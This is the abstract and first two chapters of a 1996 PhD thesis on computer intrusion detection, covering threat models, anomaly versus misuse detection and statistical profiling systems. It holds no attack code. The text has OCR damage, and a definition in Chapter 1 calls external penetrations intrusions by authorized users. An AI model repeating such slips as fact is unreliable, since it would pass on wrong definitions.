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Abstract

N e w Directions in Computer Intrusion Detection
Mansour Esmaili
PhD. in Computer Science
University of Wollongong, 1996

This thesis proposes new approaches to the development of efficient and reliab
intrusion detection systems and describes the development of a continuous case-based
intrusion detection tool, called AutoGuard. To deal with the uncertainty in the audited
data on the target systems, we use Probabilistic and Evidential Reasoning to detect
abnormality in the user behavior more effectively. These two methods provide a natural
representation of approximate and uncertain information. Evidential Reasoning also
provides a formal basis for the key operations of fusion and translation needed to integrate
multiple sources of information.
Case-based reasoning provides a useful approach for representing knowledge about
past intrusions into computer systems and facilitates mechanisms for retrieving and using
relevant past cases to solve and reason about new situations.
AutoGuard is an advanced case-based reasoning system that analyzes the audit trails
of multi-user computer systems in search of impending security violations. AutoGuard
presents intrusions as cases within its case-base and uses them to seek out those events
within the target system corresponding to known intrusion scenarios. Unlike comparable
analysis tools that pattern match sequences of audit records to the expected audit trails
of known penetrations, AutoGuard focuses on the class of penetrations and the effects
that the individual steps of a penetration have on the system. The case-base is more
intuitive to read and update than current penetration rule-bases and allows the system
to provide greater functionality to detect impending compromises.
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Chapter 1
Introduction

In this chapter the aims and objectives of this thesis are described, the need for securing
computer systems is motivated and the role of intrusion detection in their security is
discussed. A broad overview of the field of intrusion detection, as presented in the
literature, is also given.
T h e growing concern over the security of computer installations has led to the recent
development of numerous intrusion detection systems. All of these systems rely on
features of user and system behavior to determine the likelihood of an attack. T h e choice
of these features in current intrusion detection systems is somewhat arbitrary and is
based solely on the opinion of an expert,

1.1 Aims and Objectives
Classifying user or system behavior is a very hard problem. One problem is that only
a small fraction of behavior is misuse; another is that often misuse looks like normal
use, therefore it can be difficult to distinguish between intruders and normal users. A s a
result, classification can result in "false negatives", wherein an attacker is misclassified
as a normal user. "False positives", where a normal user is classified as an attacker, can
also degrade productivity in the system being protected by invoking countermeasures
unnecessarily. Further, it will be difficult (impossible) to identify all types of intrusive
behavior in advance.
T h e audit trail records provided by a computer system are the main source of information regarding behavior of the users of that system. T h e Intrusion Detection System
(IDS) uses these records in its analysis of the expected and proper user behavior for that
system.
Auditing was initially designed for accounting purposes rather than for system security. Hence, m a n y desired auditable events m a y be unavailable to the security system if
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the old auditing system is still used. The audit trail is normally designed and provided
by the vendor of the computer system in question. The amount of information generated
by the audit trail mechanism for even a single user can be tremendous, possibly in excess
of 10 megabytes of data per user per day. Processing such a huge amount of information,
viz. the collection, storage and timely analysis of the records, can become problematic,
therefore overall system performance m a y become adversely affected.
Automated analysis of audit data provides a practical means for efficiently analyzing
large volumes of audit data. Many Intrusion Detection Systems are automated audit
data analysis tools which not only aid in identifying security violations, but can also
detect threats to security by real-time tracking of user behavior.
M a n y researchers1 have looked at computer vulnerabilities from the view point of
cataloging and classifying them so that the classification can provide a useful feedback
to software engineers. By being aware of the nature and statistics of flaws at different
stages of the software life cycle, engineers can take efforts to minimize their occurrences.
Work has also been done to use pattern directed approaches to detect vulnerabilities in
source code, for example, in the RISOS project [61]. Pattern matching has also been
used to detect intrusions using their signatures [112].
The aim of this thesis is to propose new approaches to improve the performance of
intrusion detection in computer systems.The proposed approaches include reasoning under uncertainty and case-based reasoning. T w o methods of reasoning under uncertainty
are proposed.
The first approach utilizes probabilistic reasoning (Bayesian method) to model intrusions and predicts the next user action (attacker) and calculates the risk of that action
combined with previous actions to the system.
Evidential reasoning (Dempster-Shafer Theory) provides the basis for the second
approach to model intrusion scenarios.The system determines if the user is an attacker
by observing and following user behavior.
Finally, case-based reasoning, models each intrusion scenario as a case and tries to
match user actions against the cases already in the case-base. Depending on the depth
of the match, it assigns a combined risk factor to each case and decides if the user is an
intruder or not.
In short the objectives of this thesis are:

1. to illustrate that uncertain reasoning methods, such as probabilistic reasoni
evidential reasoning can be used to enhance performance of intrusion detection,
X

A good description of their work can be found in the study by Aslam [17].
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2. to propose a case-based reasoning approach to intrusion detection, and
3. to implement an intrusion detection system using case-based reasoning approach.

1.2 Terminology

This section explains several terms used throughout this thesis. Some of the ter
well-accepted definitions among security professionals, while others have been used in a
specific way in this thesis. W h e n explaining a term, references to other terms defined in
this section have been italicized.
• Audit record/Event.
A n audit record is an individual entry of an audit trail. It is also referred to as
an "event" in this thesis. The number of distinct event types is finite and known
a priori. Events are tagged with data. There is a type field with every event that
distinguishes amongst events in the event stream. Events can have any number,
though usually a small number, of tag fields. The exact number and nature of the
fields m a y be dependent on the type of the event. The layout of each event is fixed,
although each event type can have a different layout. Abstractly, each event is a
tuple with a field that indicates its type.
• Audit trail/Event stream.
A n audit trail [121] is a chronological record of system activities that is sufficient
to enable the reconstruction, review and examination of the sequence of activities
surrounding or leading to each event in the path of a transaction from its inception
to output of final results.
The term "event stream", against which cases are matched, is used in the thesis
in the same sense as an audit trail. In practice, audit trails record service requests
of applications from the operating system, and events axe when applications make
system calls. Using system service requests to record application activity provides
a trustworthy, application independent monitoring technique that works for all
. applications, without requiring intrusive instrumentation of the applications. Some
important applications, such as login have, however, been retrofitted to generate
their own specific events which overlap with other events in the audit trail.
• C2 security razing of computer systems.
A Department of Defense evaluation criteria class that requires auditing and protection of encrypted passwords, among others, as described in the Orange Book

1.2. Termin ology

4

[150]. The primary motivation behind the Orange Book was the need to quantify
security and trust, because different organizations and different types of information require different types of security [165]. Briefly, the Orange Book defines four
categories of security protection: D - minimal security, C - discretionary protection, B - mandatory protection and A - verified protection. Each class requires a
specific set of criteria to be met by computer systems in that category.
• Discretionary/Mandatory access control.
In discretionary access control the owner of an object controls access to the object
for the owner, a group and all others. The U N I X system provides discretionary
access control because the owner of a file m a y do anything with it. The access
control permissions can be adjusted so that even the owner cannot read a file, or,
on the other extreme, everybody can access the file.
In mandatory access control the system enforces access to the objects and hence
a user can no longer change access rights to the objects. This results in higher
security and also prevents damages due to accidental mistakes.
• Exploitation/Intrusion.
A n exploitation is a set of actions that results in a violation of the security policy of
a computer system. In this thesis the term "intrusion" is used in the same sense as
exploitation. Intruders exploit system vulnerabilities orflawsto gain unauthorized
access to the system. These exploitations can often be encoded as cases that can
be matched against the audit trail to detect them.
• False negative.
W h e n an attacker is classified as a normal user the error is referred to as false
negative.
• False positive.
W h e n a normal user is classified as an attacker the error is referred to as false
positive.
• Flaw.
A flaw is defined in [121] as an error of commission, omission or oversight in
. a system that allows protection mechanisms to be bypassed. Vulnerabilities and
flaws are used'synonymously.
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• Security policy.
A security policy is defined as the set of laws, rules, and practices that regulate
h o w an organization manages, protects and distributes sensitive information [112].
• Security vulnerability.
A vulnerability is defined as a weakness in automated system security procedures,
administrative controls, internal controls etc. which could be exploited by a threat
• to gain unauthorized access to information or to disrupt critical processes. A n derson [14] defines a vulnerability in a less abstract w a y as a k n o w n or suspected
flaw in the hardware or software design or operation of a system that exposes it to
penetration of its information.

1.3 Use of Examples

The basic goal of all operating systems is to provide a convenient and efficient interfac
to computer system resources [173]. They partition the set of services exported to the
user in similar ways, even though the details m a y differ. K u m a r [112] believes that
different operating systems have similar vulnerabilities:
"... Generic studies of operating system flaws, such as those done by Linde
[119] and Landwehr et al. [115] have shown similarities a m o n g operating
system vulnerabilities. In each category of their study, examples have been
drawn from several operating systems. ..."

If operating systems have similar vulnerabilities, and offer similar user visible resourc
abstractions, then the methods of exploiting these vulnerabilities are also likely to be
similar.
In this thesis the examples of vulnerabilities and descriptions of operating environments are derived from the U N I X operating system. T h e choice of using U N I X as a
vehicle to illustrate h o w security vulnerabilities can be represented and detected is incidental. It is because w e are most familiar with U N I X , and because most publicly
discussed vulnerabilities such as those in bugtraq mailing list [2], the 8lgm advisories[l]
and the C E R T advisories [3] have predominantly dealt with U N I X vulnerabilities. This
is also done with the belief that detection techniques and principles applicable to U N I X
are largely applicable to other operating systems as well, even though the details of such
detection m a y differ. It is therefore easy to use these examples to illustrate the ideas
discussed in this thesis because details of these vulnerabilities are public.

1.4.
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Other operating systems, such as V A X / V M S , V M / C M S , I B M / 0 S 2 and MS/Windows95 are proprietary and their source code has not been available for wide scrutiny.
Therefore, details of security vulnerabilities in these operating systems are largely private
and do not provide a good example set of vulnerabilities from which to illustrate our
ideas.

1.4 Motivation

Networked computer systems are under attack and the number of attacks is growing e
ponentially. In 1990, 252 incidents were reported to the Computer Emergency Response
Team ( C E R T ) . In just the first six months of 1994, that number had grown to 1172.
In addition to the growth in the number of reported incidents, the number of systems
involved per incident is growing [181].
Furthermore, it seems probable that most incidents are not detected or reported. For
example, a particularly U.S. security conscious D o D site detected 69 attacks in 1992.
After installation of an intrusion detection tool, the number of detected attacks raised
to 4100 in just the first quarter of 1993 [181]. In a second example, ASSIST, the U.S.
Department of Defense incident response team, recently evaluated the security level of
their sites by launching automated attacks against it continuously for two months. Only
one person reported suspicious activity.
W h y are so many attacks occurring? Studies reveal computer attacks have similarities
with many other crimes: perpetrators have many motives, including greed, revenge, the
thrill of the chase and peer pressure [18, 148]. As the Internet continues to grow, and
as more and more commercial activity takes place over it, it would seem likely that the
problem will continue to worsen.
Studies also suggest that many intruders are deterred by the perceived risks involved.
One of the intruder's greatest fears is losing his or her anonymity [148].
Unfortunately, attackers can take advantage of the architecture of the Internet to hide
their point of origin, thus preserving their anonymity. Since many hosts are insecure,
intruders assemble a collection of accounts on hosts around the world that they have
broken into. W h e n conducting an attack, they log-in through a series of such hosts
before assaulting the target. Since the machines in question are in different administrative
domains, with personnel who m a y not know or trust one another in advance, and perhaps
do not even have^the same legal system, this makes it extraordinarily difficult to trace
back the chain of activity to its source. Clifford StolPs experience is a good example of
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such cases [182].
Intrusion detection and network security are becoming increasingly more important
in today's computer-dominated society. As more and more sensitive information is being
stored on computer systems and transferred over computer networks, more and more
crackers are attempting to attack these systems to steal, destroy or corrupt that information. While most computer systems attempt to prevent unauthorized use by some
kind of access control mechanism, such as passwords, encryption, and digital signatures,
there are several factors that make it very difficult to keep these crackers from eventually
gaining entry into a system [24, 33, 44, 43, 128]. M a n y computer systems have several
undetected security flaw that m a y allow outsiders (or legitimate users) to gain unauthorized access to sensitive information at least for a limited time, this is often referred
to as "residual risk". In some cases, it m a y not be practical to replace such a flawed
system with a new, more secure system. Even a supposedly secure system can still be
vulnerable to insiders misusing their privileges, or it can be compromised by improper
operating practices. While many existing systems m a y be designed to prevent specific
types of attacks, other methods to gain unauthorized access m a y still be possible. Due
to the tremendous investment already made into the existing infrastructure of open (and
possibly insecure) communication networks, it is infeasible to deploy new, secure, and
possibly closed networks. Since the event of an attack should be considered inevitable,
there is an obvious need for mechanisms that can detect outsiders attempting to gain
entry into a system, that can detect insiders misusing their system privileges, and that
can monitor the networks connecting all of these systems together.
The goal of any intrusion detection system must be to aid system security officer in the
detection of penetration and abuse. The expert system should provide the knowledge of
an "expert" security officer. This is a minimum standard of performance for an intrusion
detection system. H u m a n s generally do not do a very good job of audit trail analysis,
since the volume of audit record data generated often makes this a difficult and time
consuming job. The set of penetrations or abuses detected by a security officer with the
aid of the automated system should be a superset of what would have been detected by
the security officer unaided.
Coding and reapplication of knowledge under similar circumstances is the basis of
an expert system. This knowledge is encoded in the form of facts (assertions about the
state of a problem solution) and heuristics (rules which govern the transformation of the
solution state).
Intrusion detection systems (IDS) require that basic security mechanisms are in place
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which enforce authorization rules and control over system, data and other resource access
on computer or network, and that an audit trail be available to record a variety of computer usage activity. Intrusion detection systems attempt to identify security breaches
through the analysis of these computer security audit trail. Intrusion detection systems
are based on the principle that an attack on a computer system (or network) will be
noticeably different from normal system (or network) activity [12]. A n intruder to a
system (possibly masquerading as a legitimate user) is very likely to exhibit a pattern
of behavior different from the normal behavior of a legitimate user. The job of IDS is to
detect these abnormal patterns by analyzing numerous sources of information that are
provided by the existing systems.
However, due to the uncertainty in the data, most of the intrusion detection systems
have to deal with the problems of ""false negatives" (wherein an attacker is classified as
a normal user) and "false positives" (where a normal user is classified as attacker). This
can degrade productivity in the system being protected by invoking countermeasures
unnecessarily.

1.5 Computer Security and it's Role in Network Environment

One broad definition of a secure computer is given by Garfinkal and Spafford [70]

that can be depended upon to behave as it is expected to. The dependence on the expected
behavior is referred to as trust in the security of the computer system. The level of trust
indicates the confidence in expected behavior of the computer system. The expected
behavior is formalized into the security policy of the computer system and governs the
goals that the system must meet. This policy m a y include functionality requirements if
they are necessary for the effective functioning of the computer system.
A narrower definition of computer security is based on the realization of confidenti-

ality, integrity and availability in a computer system [165]. Confidentiality requires tha
information be accessible only to authorized users. Integrity requires that information
remain unaltered and intact by accidents or malicious attempts. Finally, availability
means that the computer system remains working without degradation of access and
provides resources to authorized users when they need it. By this definition, an unreliable computer system is insecure if availability is part of its security requirements.
A secure computer system protects its data and resources from unauthorized access,
tampering and denial of use. Confidentiality of data m a y be important to the commercial
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success or survival of a corporation. Data integrity m a y be important to a hospital
that maintains medical histories of patients and uses it to m a k e life critical decisions.
Consequently, data availability m a y be necessary for real-time traffic control.
There is a close relationship between the functional correctness of a computer system
and its security. Functional correctness implies that a computer system meets its specifications. If the functionality specification includes security policy requirements, then
functional correctness implies security of the computer system. However, the reverse is
not true, i.e., functional error m a y not result in violations of the security policy, especially as it relates to confidentiality, integrity and availability. For example, an operating
system service call m a y not process all valid arguments to it correctly, yet it m a y not
be possible to violate the security policy by taking advantage of this fact. A s another
example, consider a visual W Y S I W Y G (what you see is what you get) word processing
program that fails to highlight user selections on the display. T h e program is likely not
to be functionally correct, but this behavior m a y not cause a violation of the system
security policy.

1.5.1 Threats to Security
A s a society w e are becoming increasingly dependent on the rapid access and processing
of information. A s this d e m a n d has increased, more information is being stored on
computers.

T h e proliferation of inexpensive computers and computer networks has

exacerbated the problem of unauthorized access and tampering with data. International
connectivity not only provides access to larger and varied resources of data m o r e quickly
than ever before, it also provides an access path to the data from virtually anywhere on
the network [158]. In m a n y cases, such as the Internet w o r m attack of 1988 [179], network intruders have easily overcome the password authentication mechanisms designed
to protect systems.
W i t h an increased understanding of how systems work, intruders have b e c o m e skilled
at determining weaknesses in systems and exploiting them to obtain privileges allowing
them do anything they wish. Intruders also use patterns of intrusion that are difficult to
trace and identify. T h e y frequently use several levels of indirection before breaking into
target systems and rarely indulge in sudden bursts of suspicious or anomalous activity.
They also cover their traces so that their activity on the penetrated system is not easily
discovered 2.
2

/

For an account of a real intrusion that originated in Europe and targeted several military computers
in the U.S. see the book by Cliff Stoll [182]
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Malicious programs such as viruses [41] and worms [168] are capable of replicating
and traveling through connected computer systems. Unleashed at one computer, by
the time they are discovered it m a y be impossible to trace their origin or the extent of
infection. Then there m a y be threats from trojan horses [189] which do not replicate but
are programmed to unleash on a precondition compiled into the program.
Anderson [14] has classified the type of security threats from users of a system as
follows:

1. Masqueraders - users who are working under disguise of another user, such as u
another user's account.
2. Misfeasors - authorized users who abuse their privileges on the system.
3. Clandestine - users who evade the monitoring and/or auditing facilities on the
system.

1.5.2 Security Problems and Common Causes
W h e n U N I X was designed, its designers did not have security aspects of it in mind.
Rather it has been as an afterthought, a feature that has been slowly integrated over
the time and often too slowly. There are various operating systems designed around
strong security models, but they are less commonly used and sometimes are not practical
alternatives. Considering the increasing number of alerts or the statistics of unauthorized
access attempts (doorknob twisting attack) [26,40] combined with the exponential growth
of Internet, it seems that the problem of security will only become larger. Some of the
more c o m m o n causes of security problems are discussed below but the list is not limited
to these.
• Low priority of the security issue.
In the rush towards networking, security of the network has often had a low priority,
if not the lowest. Often there is little or no risk assessment of connecting the
computer system, or adding a new software package to the system that is exposed
to the rest of the world. Network and system administrators often lack the required
resources to concentrate on security issues as in large environments monitoring the
operating order in the system or network can quickly consume all their time and
efforts. Increasing demands for the latest software and hardware by users tend to
push down the security evaluation to the lowest level.
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• The chain is as weak as its weakest link.
To defeat the security of a system it is not necessary to bypass the most secure
mechanisms. Often, vulnerabilities exist because the security aspect of the system
has been overlooked. For example, to allow the users fast and easy access to the
file servers in some networks, the workstations are assumed to be trusted as only
authorized users would use them. This is due to the lack of concern for the security
in the workstation and concentration on the security of the larger multiuser systems.
The security of the workstation m a y be easily compromised by an attacker leading
to the compromise of the main system with less effort than required for breaching
the stronger security mechanisms on the main system.
• Increased connectivity and exposure.
The general problem of networking and increased connectivity is due to the large
level of exposure of the computer systems in the network to external threats.
• False sense of security.
Some administrators believe .their systems are secure because they have implemented strong access control mechanisms with devices such asfirewalls,but they forget
to ensure that all the subsystems are properly setup.
• Security versus usability.
Security or the requirements involved with applying security are often viewed as
a hindrance, by both users and administrators. For example, many systems with
C 2 rating are not run at full C 2 level. Maintaining security is a resource intensive process. O n the other hand, neglecting it can be even more costly and time
consuming.
• Security through obscurity.
People often try to obtain secrecy by hiding the details of their systems. This may
delay the compromise of their systems, but it does not provide any assurance about
security as the details will be eventually found, for example by reverse engineering,
causing compromise of the security.

1.5.3 Detection of Threats
Most computer systems provide an access control mechanism as theirfirstline of defense
[114]. This only limits access to an object in the system, however it does not restrict
what a subject m a y do with the object itself if it has the access to manipulate it [48].

1.5. Computer Security and it's Role in Network Environment

12

For example, having 'read access' to an object allows user to copy the object and manipulate it later. Access control therefore does not model and cannot prevent unauthorized
access to the objects. Moreover, in systems where access controls are discretionary, the
responsibility of protecting data rests on the end user. This often requires that users
understand the protection mechanisms offered by the system and how to achieve the
desired security using these mechanisms.
In multilevel systems, information flow can be controlled to enhance security by
applying models such as the Bell and LaPadula model [25] to provide secrecy, or the Biba
model [27] to provide integrity. However, security comes at the expense of convenience.
Both models are conservative and restrict read and write operations to ensure that
confidentiality and integrity of data in the system cannot be compromised. If both
models are jointly used, the security model only permits access to objects at the same
security classification level as the subject. Thus a completely secure system m a y be too
restrictive.
Access controls and protection models are not helpful against insider threats or compromise of the authentication model. If a password is weak and is compromised, access
control measures cannot prevent the loss or corruption of information that the compromised user was authorized to access. In general, static methods of assuring security
properties in a system m a y simply be insufficient, or make the system over-restrictive to
its users. For example, static techniques may not be able to prevent violation of security
policy that results from browsing of datafiles;and mandatory access controls [150], that
only permit users access to data for which they have an appropriate clearance, make the
system cumbersome to use. A dynamic method, such as behavior tracking, is therefore
needed to detect and perhaps prevent breaches in security.
The difficulties in engineering complex, bug-free software are unlikely to be resolved
in the near future. Faults in system software are often manifested as security weaknesses.
Moreover, software life cycle times are being continually shortened because of increased
market competitiveness. This often results in poor designs or inadequate testing, further
aggravating the problem.
Computer systems are therefore likely to remain insecure for some time to come.
Therefore measures must be in place to detect security breaches, i.e., identify intrusions and intruders. Intrusion detection systemsfillthis role and usually form the last
line of defense in the overall protection scheme of a computer system. They are useful
not only in detecting successful breaches of security, but also in monitoring attempts
to breach security, which provides important information for timely countermeasures.
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Thus, intrusion detection systems are useful even when strong preventive steps taken
to protect computer systems place a high degree of confidence in their security. Furthermore, repairs of system softwareflawsm a y not always be preferable to detection of
their exploitation from a practical cost-benefit consideration. Fixing bugs m a y not be
possible without the software source and required expertise. Also large scale deployment of patches m a y require more cumbersome installation procedures than updating
the intrusion detection database, especially when software is customized for local use at
individual sites. In the case of large, complex programs, such as sendmail, it m a y not
be conceivable to "fix" all possible flaws even when its source code is available [112].
Monitoring generic methods of exploiting vulnerabilities can be very useful in such cases.

1.6 What is Intrusion Detection?
An intrusion is defined by Heady et al. [82] as
"any set of actions that attempts to compromise the integrity, confidentiality,
or availability of a resource."
A n earlier study done by Anderson [14] uses the term "threat" with the same meaning
and defines it as:
"the potential possibility of a deliberate unauthorized attempt to
• access information,
• manipulate information, or
• render a system unreliable or unusable."

In general, an intrusion is a violation of the security policy of the system. Thes
definitions are general enough to encompass all the threats mentioned in the previous
section. A n y definition of intrusion is, of necessity, imprecise, as security policy requirements do not always translate into a well-defined set of actions. Whereas security policy
defines the security goals that must be achieved by a system, detecting breaches of policy
requires knowledge of steps or actions that m a y result in its violation.
Detecting intrusions can be divided into two categories: anomaly intrusion detection
and misuse intrusion detection. The former refers to intrusions that can be detected
based on anomalous behavior and use of computer resources. For example, if user Alice
only uses the computer from her office between 9 A M and 5 P M , an activity on her
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account late in the night is anomalous and therefore, might be an intrusion. Another
user, Bob, might always login outside working hours through the company terminal
server. A late night remote login session from another host to his account might be
considered unusual. Anomaly detection attempts to quantify the usual or acceptable
behavior and flags other irregular behavior as potentially intrusive.
One of the earliest reports that outlines how intrusions m a y be detected by identifying
"abnormal" behavior is the work by Anderson [14]. In his influential report, Anderson
presents a threat model that classifies threats generally as external penetrations, internal
penetrations and misfeasance and uses this classification to develop a security monitoring
surveillance system based on detecting anomalies in user behavior. External penetrations
are defined as intrusions that are carried out by authorized computer system users;
internal penetrations are those that are carried out by authorized users of computer
systems w h o are not authorized for the data being compromised; and misfeasance is
defined as misuse of authorized data and other resources by otherwise authorized users.
In contrast, misuse detection refers to intrusions that follow well-defined patterns of
attack (scenarios) which exploit weaknesses in system and application software. Such
scenarios can be precisely written in advance. For example, exploitation of the f ingerd
and sendmail bugs used in the Internet W o r m attack [179] would be classified under this
category. This technique represents knowledge about unacceptable behavior and seeks
to detect it directly, as opposed to anomaly intrusion detection, which seeks to detect
the complement of normal behavior.
The above mentioned schemes of classifying intrusions are based on their method of
detection. Another classification scheme, based on intrusion types, presented by Smaha
[174] attempts to classify intrusions into the following six types:
Attempted break-ins: often detected by abnormal behavior profiles or violations of security constraints (security policies).
Masquerade attacks: often detected by abnormal behavior profiles or violations of security
constraints.
Penetration of the security control system: usually detected by monitoring for specific
patterns of activity.
Leakage: often detected by abnormal usage of I/O resources.
Denial of service: often detected by abnormal usage of system resources.
Malicious use:

often detected by abnormal behavior profiles, violations of security

constraints, or use of special privileges.
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This classification provides a grouping of intrusions based on the end effect and the
method of carrying out the intrusions. Irrespective of h o w intrusions are classified, the
main techniques for detecting them are the same: the statistical approach of anomaly
detection and the precise monitoring of well-known attacks (scenarios) in the misuse
detection approach. Both approaches m a k e implicit assumptions about the nature of
intrusions that can be detected by them.

1.6.1 Premise and Limitations of Intrusion Detection
Anomaly Detection
T h e central premise of anomaly intrusion detection is that intrusive activity is a subset of
anomalous activity. This might seem reasonable, considering that if an outsider breaks
into a computer account with no notion of the compromised user's pattern of resource
usage, there is a good chance that his behavior will be anomalous. Ideally, the set of
anomalous activities is the same set of intrusive activities. Then, flagging all anomalous
activities exactly flags all intrusive activities, resulting in no false positives or false
negatives [112]. However, intrusive activity does not always coincide with anomalous
activity. K u m a r , in his P h D thesis [112], classifies detection of activities on a computer
system into four groups of possibilities, each with a non-zero probability:
1. Intrusive but not anomalous. These are false negatives or type I errors. That is,
the activity is intrusive but because it is not anomalous it is failed to be detected.
These are called false negatives because the intrusion detection system falsely
reports the absence of intrusion.
2. Not intrusive but anomalous. These are false positives or type II errors. That
is, the activity is not intrusive, but because it is anomalous, it is reported as
intrusive. These are called false positives because the intrusion detection system
falsely reports intrusion.
3. Not intrusive and not anomalous. These are true negatives: the activity is not
intrusive and neither it is reported as such.
4. Intrusive and anomalous. These are true positives: the activity is intrusive and is
reported as suqh because it is also anomalous.
When false negatives are not desirable, thresholds defining an anomaly are set lower.
This results in m a n y false positives and reduces the efficiency of automated mechanisms
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for intrusion detection. It creates additional burdens for the site security officer as well,
who must investigate each incident and discard many of them.
Anomaly detectors tend to be computationally expensive since several metrics are
often maintained which need to be updated against every system activity.

Misuse Detection
The main assumption of misuse detection is that there are attacks that can be precisely encoded in a manner that captures rearrangements and variations of activities
that exploit the same vulnerability. In practice not all theoretically possible ways of a
particular intrusion can be captured efficiently in an encoding. The primary limitation
of this approach is that it looks only for known weaknesses, and m a y not be of much use
in detecting unknown future intrusions.
Other limitations of this approach are due to what is audited on the target system.
For example, current auditing practices do not record changes to program or process
variables because of the potential impact on the overall system performance and the
space required for storing audited information. If an intrusion can only be deduced from
conditions on the values of program variables, one approach is to predict the conditional
values based on the activity of the program leading up to those conditions. The general
problem of deducing the value of program expressions by examining an activity trace
m a y require intrusive instrumentation of the program and unbounded storage. Best
estimates of such patterns are inherently inaccurate and result in false positives, false
negatives, or both; hence incorporating uncertainty in the data.
Currently auditing mechanisms do not reveal the input or output data of a program.
These mechanisms work in modern system designs by monitoring and logging system
services requested by application programs. This often means that user level calls to
read and write functions do not always appear in a one-to-one correspondence in the
audit trail because of buffered I/O. Furthermore, passive methods of security breaches
like wire-tapping cannot be detected directly because they do not produce detectable
traces.

1.7 Thesis Outline

In this thesis we examine the application of two different methods of dealing wit
certainty in intrusion detection to improve the performance of the system and propose
case-based reasoning as a new approach in detecting intrusions.

1.8. Summary

17

Chapter 2 provides a review of existing intrusion detection systems. Chapter 3 describes two different methods of dealing with uncertainty and proposes a way that they
can be utilized to improve the performance of computer intrusion detection systems.
In Chapter 4 we introduce case-based reasoning and show how it provides a powerful method of representing intrusions and allows effective detection of intrusions using
continuous case-based reasoning approach.
Chapter 5 describes the prototype of a case-based intrusion detection model for
SunOS4.1.3 operating system developed in C Language. The software architecture is
based on the model described in Chapter 4. Implementation and simulation results of
the system are presented in Chapter 5. Finally Chapter 6 summarizes the thesis.
All of the materials discussed in this thesis, which are considered to be contributions
to thefieldof computer intrusion detection by the thesis, have been published in national
and international conferences. More than 9 0 % of these publications have been produced
by the author of this thesis.

1.8 Summary

Intrusion detection is an important component of the security mechanisms. It usual
forms the last line of defense against security threats. A n intrusion detection system
is intended to detect breaches of security policy which cannot be easily detected using
other methods. Intrusion detection is usually based on one of the two models: the
anomaly and the misuse models. Both models make assumptions about the nature of
the intrusive activity that can be detected. In this thesis we apply uncertain reasoning
and case-based reasoning methods for enhancing the performance of intrusion detection
systems and present a prototype that implements case-based reasoning approach.

Chapter 2
Review of Intrusion Detection

This chapter reviews the architecture of several prior intrusion detection systems. None
of these systems use uncertainty handling methods directly to represent and detect intrusions. The generic model of intrusion detection proposed by Dorothy Denning[47],
which is still accurate as an abstract model of most intrusion detection systems, is also
described.
Parts of this chapter have been published as a technical report [55] and in the Proceedings of the Twelfth International Conference on Computer Communication [56].

2.1 Introduction

Many intrusion detection systems employ techniques for both anomaly and misuse detection. The techniques used in these systems to detect anomalies are varied. Some
are based on techniques for predicting future patterns of behavior utilizing patterns seen
before, while others rely mainly on statistical approaches to determine anomalous behavior. In both cases, observed behavior which does not match expected behavior is flagged
anomalous. The main techniques used for misuse detection comprise expert systems,
model-based reasoning systems, state transition analysis, and keystroke monitoring.
Some techniques, such as the statistical approach, have resulted in systems being
used and tested extensively. Others, such as the model-based approach, are still in the
research stage.

2.2 Anomaly Intrusion Detection

In this section systems and techniques are discussed which base their decision on
variance of predicted or expected behavior from the observed behavior. These techniques
are not based on the occurrence of specificfixedactivities.
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Statistical Approaches

The following description, based on N I D E S [134, 135], serves to illustrate the generic
process of anomaly detection, which is primarily statistical in nature. The anomaly
detector observes the activity of subjects and generates profiles for them representing
their behavior. These profiles are designed to use little memory to store their internal
state, and to be efficient to update because every profile m a y potentially be updated for
every audit record.
As audit records are processed, the system periodically generates a value as a measure
of abnormality of the profile. This value is a function of the abnormality values of all the
measures comprising the profile. Therefore, if Si, S2,..., Sn represent the abnormality
values of the profile measures Mx, M2,..., Mn respectively, and a higher value of Si
indicates greater abnormality, a combining function of the individual S values m a y be a
weighted sum of its squares, as in
axS2 A a2Sl + ... + anSl, a; > 0

where a,- reflects the relative weight of the metric M{. In general, the measures
..., Mn m a y not be mutually independent, and may require a more complex function
for combining them.
There are several types of measures comprising a profile:

1. Activity Intensity Measures — measure the rate at which activity is progressing
They are generally used to detect abnormalities in bursts of behavior that might
not be detected over longer term averages. A n example is the number of audit
records processed for a user in one minute.
2. Audit Record Distribution Measures — measure the distribution of all activity
types in recent audit records. A n example is the relative distribution offileaccesses
and I/O activity over the entire system usage for a particular user.
3. Categorical Measures — measure the distribution of a particular activity over
categories, such as the relative frequency of logins from each physical location, the
relative usage of each mailer, compiler, shell and editor in the system.
4. Ordinal Measures — measure activity with an outcome of a numeric value, such
. as the amount of C P U and I/O used by a particular user. While categorical measures count the 'number' of times an activity occurred, ordinal measures compute
statistics on the numerical value of the activity outcome.
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The current behavior of each user is maintained in a profile. At regular intervals the
current profile is merged with the stored profile1. Anomalous behavior is determined by
comparing the current profile with the stored profile.

Pros and Cons of Statistical Intrusion Detection
The advantage of anomaly intrusion detection is that well studied techniques in statistics
can often be applied. For example, data points that lie beyond a multiple of the standard
deviation on either side of the mean might be considered anomalous. The integral of
absolute difference of two functions over time might also be used as an indicator of the
deviation of one function with respect to the other.
Statistical intrusion detection systems also have several disadvantages:
• Statistical measures are insensitive to the order of occurrence of events. That is, a
purely statistical intrusion detection system m a y miss intrusions that are indicated
by sequential interrelationships among events.
• Purely statistical intrusion detection systems can be trained gradually to a point
where behavior, once regarded abnormal, is considered normal. Intruders who
know they are being monitored by anomaly detectors can train such systems.
Therefore, most existing intrusion detection schemes combine both a statistical part
to measure aberration of behavior, and a misuse part to monitor the occurrence of
specific patterns of events.
• It is difficult to determine thresholds above which an anomaly should be considered
intrusive. Setting a threshold too low results in false positives and setting it too
high results in false negatives.
• There is a limit to the types of behavior which can be modeled using purely statistical methods. Application of statistical techniques to the formulation of anomalies
requires the assumption that the underlying data comes from a quasi-stationary
process, an assumption that m a y not always hold. More accurate models such as
generalized Markov chains are more complex and time consuming to build.

2.2.2 Feature Selection
A difficult problem an anomaly intrusion detection is determining the correspondence
between anomalous activity and intrusive activity. Given a set of heuristically chosen
^his is true for NIDES [135, 134], but in some systems the profiles do not change once determined.
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measures that can have a bearing on detecting intrusions, the subset that accurately
predicts or classifies intrusions has to be determined. This is called feature selection.
Determining the right measures is complicated because the appropriate subset of measures depends on the type of intrusions being detected. One set of measures is not likely to
be adequate for all types of intrusions. Predefined notions of the relevance of particular
measures to detect intrusions might miss intrusions unique to a particular environment.
The set of optimal measures for detecting intrusions must be determined dynamically
for best results.
Consider an initial list of n measures as potentially relevant to predicting intrusions.
The number of possible subsets of these n measures, which is the power set of the measures., is 2 n . Since the search space is exponentially related to the number of measures,
an exhaustive search for the optimal subset of measures is not efficient. Heady et al.
[82] present a genetic approach to searching through this space for the right subset of
